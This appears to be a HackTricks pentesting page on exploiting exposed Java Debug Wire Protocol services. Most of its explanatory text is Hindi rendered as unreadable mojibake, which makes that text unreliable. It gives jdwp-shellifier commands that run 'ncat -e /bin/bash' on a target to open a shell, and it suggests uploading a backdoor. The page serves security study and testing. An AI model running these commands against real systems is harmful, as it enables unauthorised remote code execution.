11 KiB
Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
рдХрдордЬреЛрд░реА рдореВрд▓реНрдпрд╛рдВрдХрди рдФрд░ рдкреЗрдирд┐рдЯреНрд░реЗрд╢рди рдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рддреБрд░рдВрдд рдЙрдкрд▓рдмреНрдз рд╕реЗрдЯрдЕрдкред 20+ рдЙрдкрдХрд░рдгреЛрдВ рдФрд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдХрд╣реАрдВ рд╕реЗ рднреА рдПрдХ рдкреВрд░реНрдг рдкреЗрдВрдЯреЗрд╕реНрдЯ рдЪрд▓рд╛рдПрдБ рдЬреЛ рдкреБрдирдГ рдЦреЛрдЬ рд╕реЗ рд░рд┐рдкреЛрд░реНрдЯрд┐рдВрдЧ рддрдХ рдЬрд╛рддреЗ рд╣реИрдВред рд╣рдо рдкреЗрдВрдЯреЗрд╕реНрдЯрд░реНрд╕ рдХрд╛ рд╕реНрдерд╛рди рдирд╣реАрдВ рд▓реЗрддреЗ - рд╣рдо рдХрд╕реНрдЯрдо рдЙрдкрдХрд░рдг, рдкрд╣рдЪрд╛рди рдФрд░ рд╢реЛрд╖рдг рдореЙрдбреНрдпреВрд▓ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЦреБрджрд╛рдИ рдХрд░рдиреЗ, рд╢реЗрд▓ рдкреЙрдк рдХрд░рдиреЗ рдФрд░ рдордЬрд╝реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╕рдордп рд╡рд╛рдкрд╕ рдорд┐рд▓ рд╕рдХреЗред
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Exploiting
JDWP рд╢реЛрд╖рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреА рдХрдореА рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдкреЛрд░реНрдЯ 8000 рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдиреНрдп рдкреЛрд░реНрдЯ рднреА рд╕рдВрднрд╡ рд╣реИрдВред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдХрдиреЗрдХреНрд╢рди рд▓рдХреНрд╖реНрдп рдкреЛрд░реНрдЯ рдкрд░ "JDWP-Handshake" рднреЗрдЬрдХрд░ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдПрдХ JDWP рд╕реЗрд╡рд╛ рд╕рдХреНрд░рд┐рдп рд╣реИ, рддреЛ рдпрд╣ рдЙрд╕реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддреА рд╣реИ, рдЗрд╕рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддреА рд╣реИред рдпрд╣ рд╣реИрдВрдбрд╢реЗрдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ JDWP рд╕реЗрд╡рд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рдПрдХ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ рд╡рд┐рдзрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред
рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд╣рдЪрд╛рди рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, Java рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ "jdwk" рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреА рдЦреЛрдЬ рдПрдХ рд╕рдХреНрд░рд┐рдп JDWP рд╕рддреНрд░ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИред
рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдЙрдкрдХрд░рдг jdwp-shellifier рд╣реИред рдЖрдк рдЗрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
I found that the use of --break-on 'java.lang.String.indexOf'
make the exploit more stable. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
More details
рдпрд╣ https://ioactive.com/hacking-java-debug-wire-protocol-or-how/ рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИред рдЖрдЧреЗ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рджреЗрдЦреЗрдВред
- JDWP Overview:
- рдпрд╣ рдПрдХ рдкреИрдХреЗрдЯ-рдЖрдзрд╛рд░рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдмрд╛рдЗрдирд░реА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ, рдЬреЛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╕рдордХрд╛рд▓рд┐рдХ рд╣реИред
- рдЗрд╕рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреА рдХрдореА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╢рддреНрд░реБрддрд╛рдкреВрд░реНрдг рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рд╛рдордиреЗ рдХрдордЬреЛрд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
- JDWP Handshake:
- рд╕рдВрдЪрд╛рд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд░рд▓ рд╣реИрдВрдбрд╢реЗрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ 14-рдЪрд░ ASCII рд╕реНрдЯреНрд░рд┐рдВрдЧ тАЬJDWP-HandshakeтАЭ рдбрд┐рдмрдЧрд░ (рдХреНрд▓рд╛рдЗрдВрдЯ) рдФрд░ рдбрд┐рдмрдЧреА (рд╕рд░реНрд╡рд░) рдХреЗ рдмреАрдЪ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред
- JDWP Communication:
- рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдПрдХ рд╕рд░рд▓ рд╕рдВрд░рдЪрдирд╛ рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ Length, Id, Flag, рдФрд░ CommandSet рдЬреИрд╕реЗ рдлрд╝реАрд▓реНрдб рд╣реЛрддреЗ рд╣реИрдВред
- CommandSet рдорд╛рди 0x40 рд╕реЗ 0x80 рдХреЗ рдмреАрдЪ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдХреНрд░рд┐рдпрд╛рдУрдВ рдФрд░ рдШрдЯрдирд╛рдУрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВред
- Exploitation:
- JDWP рдордирдорд╛рдиреЗ рд╡рд░реНрдЧреЛрдВ рдФрд░ рдмрд╛рдЗрдЯрдХреЛрдб рдХреЛ рд▓реЛрдб рдФрд░ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░рддрд╛ рд╣реИред
- рд▓реЗрдЦ рдореЗрдВ рдкрд╛рдВрдЪ рдЪрд░рдгреЛрдВ рдореЗрдВ рдПрдХ рд╢реЛрд╖рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╡рд┐рд╡рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Java Runtime рд╕рдВрджрд░реНрднреЛрдВ рдХреЛ рд▓рд╛рдирд╛, рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рд╕реЗрдЯ рдХрд░рдирд╛, рдФрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред
- Real-Life Exploitation:
- рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд╡рдЬреВрдж, JDWP рд╕реЗрд╡рд╛рдПрдБ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХреЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЦреЛрдЬреА рдФрд░ рд╢реЛрд╖рд┐рдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдЬреИрд╕рд╛ рдХрд┐ ShodanHQ рдФрд░ GitHub рдЬреИрд╕реЗ рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдкрд░ рдЦреЛрдЬреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
- рд╢реЛрд╖рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╡рд┐рднрд┐рдиреНрди JDK рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдпрд╣ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо-рд╕реНрд╡рддрдВрддреНрд░ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди (RCE) рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред
- Security Implications:
- рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреБрд▓реЗ JDWP рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдирд┐рдпрдорд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рд╕рдореАрдХреНрд╖рд╛рдУрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддреА рд╣реИ, рдЙрддреНрдкрд╛рджрди рдореЗрдВ рдбрд┐рдмрдЧ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рдмрдВрдж рдХрд░рдирд╛, рдФрд░ рдЙрдЪрд┐рдд рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рдиред
References:
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
Instantly available setup for vulnerability assessment & penetration testing. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.